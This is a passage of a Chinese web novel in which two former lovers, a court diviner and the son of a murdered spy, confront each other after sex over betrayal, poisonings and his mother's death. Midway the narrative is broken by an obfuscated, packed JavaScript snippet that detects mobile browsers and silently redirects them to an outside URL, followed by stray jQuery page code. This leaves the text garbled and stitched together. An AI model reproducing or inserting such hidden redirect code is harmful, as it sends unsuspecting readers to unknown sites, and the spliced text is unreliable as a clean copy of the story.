早上的事持续了很久,久到那盘糖糕都冷透了,也没有结束。
阿斯库杜大汗淋漓,整个人像是从水中捞出来似的,靠在埃什弥身上,黑色的细发被汗水浸湿,一缕一缕贴在脸上,像是从海中浮现出身影的水妖。
埃什弥扭头看了他一眼,骂道,“妖孽。”
阿斯库杜扯出一个笑,回他,“你说什么便是什么吧。”
埃什弥受不了他这种顺从的态度,好像他做什么他都不会生气一样,因为他根本就没有心,从来都没有,所以任何人任何事在他眼里都好像空气一般,随意逗弄,随意撩拨,并不负责。
而埃什弥也是,竟然就这样上了他的钩,那段往事成了他最不愿意回首的记忆,被藏在心间很多年。
“他们都说你的父亲是狼?真的吗?”
“我不知道。”
阿斯库杜的手虚弱地搭在床头,声音断断续续地回应,“也许是吧,也许不是,我不知道….”
阿斯库杜是孤儿,后来才终于在一次去神庙乞讨的时候被首席占卜师恩海杜安娜发现并带了回去。他二十岁那年,恩海杜安娜去世,他接替了恩海杜安娜的职位。又在五年后弄死竞争对手达达,顺利成为首席占卜师。
“你那个师姐也是你弄死的吗?”
埃什弥的话不怀好意,他撑着脑袋,侧身靠在床头,黑眸阴冷,折射出骇人的光。最可笑的是情事结束,明明最该温存的时候,却被埃什弥一番问话搞得像是一场拷问。
但是每当提起那个大师姐的时候,阿斯库杜的表情总是变得奇怪,好像有一瞬间的破绽,又好像只是情绪太多,一时间压不住。那一瞬间的停顿,比否认还来得真实。
他垂下眼,手指蜷了蜷,刚才还在他身体上游走的温热此刻像抽离了似的,只剩一层被冷汗打湿的皮肤。他没吭声,连呼吸都轻了,仿佛怕一个呼吸重了,就会把什么藏不住的东西捅破。
“你不说话,就是默认了?”埃什弥冷笑,声音低沉,却一字一句都砸得人心慌。
阿斯库杜猛地抬头,眼神里带着点狠意,也带着点挣扎:“我说不是,你会信吗?”
“我信不信有那么重要?”埃什弥偏过头看他,见他眼角的红痕还没退,唇上残着吻痕,笑起来却带着刺,“重要的是她死了,而你活得好好的,活到现在还能在我床上喘。”
屋子里一片沉默。窗外风吹过树梢,枝叶摩挲出细碎的响声。埃什弥终于低声开口,像是自言自语:“她死那年,我才十五岁。”
埃什弥没有继续说下去,只是看着他,目光像刀片一样慢慢剖开那些他小心包裹的回忆。情欲还未完全散去,空气里却已经弥漫着血的味道。
后来的他曾不知一次的想,阿斯库杜能够为了争夺权力陷害达达,又能给老国王下毒,看着他一杯一杯地喝下毒药,他还有什么不敢的?他难道就不会为了争夺首席占卜师的位置对恩海杜安娜痛下杀手吗?
恩海杜安娜是埃什弥的母亲,是埃考拉图王国派来玛里的间谍。在她来到玛里的第三年却因为爱上了玛里城的一个医生而放弃了一切,一年后,埃什弥出生。本以为日子就这么风平浪静地过下去,可偏偏埃考拉图攻入玛里城的那一天,恩海杜安娜被发现献祭于伊什塔尔神庙,而当时正在那神庙里做占卜的只有阿斯库杜。
这些事情,都是埃什弥后来才知道的。如果打从一开始就知道,他根本就不会陷进去,一次又一次让阿斯库杜把剑悬于他的头顶。
“现在说什么都为时已晚,你要是想动手就动手吧,我不会反抗的。”
埃什弥的嘴角扯起,抬手抚摸着阿斯库杜的脸颊,将他凌乱的碎发拨开,又一寸一寸抚摸着他的面容,耐心仔细地端详着,最后一把按住他的脖子,“就这么放你死太简单了。阿斯库杜,你一次又一次把我推向深渊,这一桩桩一件件,哪一点你能辩解,但凡有一点是我误会了你,但凡有一点!”
他的语气激动起来,面对冷漠的阿斯库杜,他是那样无力,那样执着,却那样卑微。
“第一次是在神庙中,你利用我让我烧尸,替你坐牢。第二次,这些事情被一个奸臣发现了,你让我去除掉他,却不知对方早有准备,我被关在那里三天三夜,拼死了逃出来却发现你在伊什美达甘的床上。第三次,第三次,是在埃考拉图边陲。你说那是为了引蛇出洞,要我假死,引出你口中的‘幕后主使’。我信了你,信到连命都不要,血流了一地,尸袋躺了三天,冻得几乎都要断气。而你呢?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775973|174725||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>埃什弥掐着他的脖子,指节发白,声音却忽然低了下去,几近哽咽。
“你转头就成了那场庆功宴上的座上宾,衣冠楚楚,敬酒、微笑、谈笑风生……没人知道你刚从我‘坟前’归来。”
阿斯库杜没挣扎,只是安静地看着他。那眼神太过平静,平静得像在看一个陌生人。
“说话啊!”埃什弥猛地收紧手指,低吼出声,“你到底有没有一刻,是因为我犹豫过?哪怕只是片刻,你有没有为我而感到心痛!”
阿斯库杜终于动了动嘴唇,却只说出一句淡淡的话:“我没有让你活下来吗?“
他那声音不大,却像是一柄钝刀,一寸寸地削着埃什弥心头的肉。
埃什弥愣住了,手指渐渐松开。他低头看着他,眼里一片迷茫,像是终于意识到,那些他以为的犹豫、沉默、顾虑,可能从头到尾……都只是他自己的一厢情愿。
空气仿佛凝固了。埃什弥的手垂在半空中,最后慢慢滑落,落在阿斯库杜的肩上,却像落在一具早已冷却的尸体上,毫无回应,毫无温度。
“原来……真的是我一个人在疯。”
他轻声说,声音轻得几乎被夜风卷走。他垂下眼,笑了一下,那笑意苦涩得像饮了一口积年的毒酒。
阿斯库杜看着他,眼底没有怒,也没有怜悯,只是一种疲惫到极点的空白。他终于伸手,抓住了埃什弥的手腕,轻轻地,将那只手从自己肩头移开,像是在剥下一件已经不合身的旧衣服。
“你要恨我,就继续恨下去吧。你恨得越久,就记我越久。”
他说着,起身,衣衫半褪,身上还有方才情欲留下的印记,但他的语气却冷得像极夜中的雪,“比死有用。”
埃什弥没有动。他望着阿斯库杜的背影走向窗边,背挺得笔直,如同从未在他面前低过头。
“你会后悔的。”
他忽然说。
阿斯库杜停下脚步,没回头,只淡淡道:“我从来不后悔。”
窗帘被风掀起一角,月光斜斜洒进来,将阿斯库杜的身影拉得很长,冷白的光落在地板上,也落在埃什弥混乱的呼吸里。
情爱已碎,欲望成灰。只剩下仇恨与执念,在彼此的生命里根深蒂固,割也割不掉。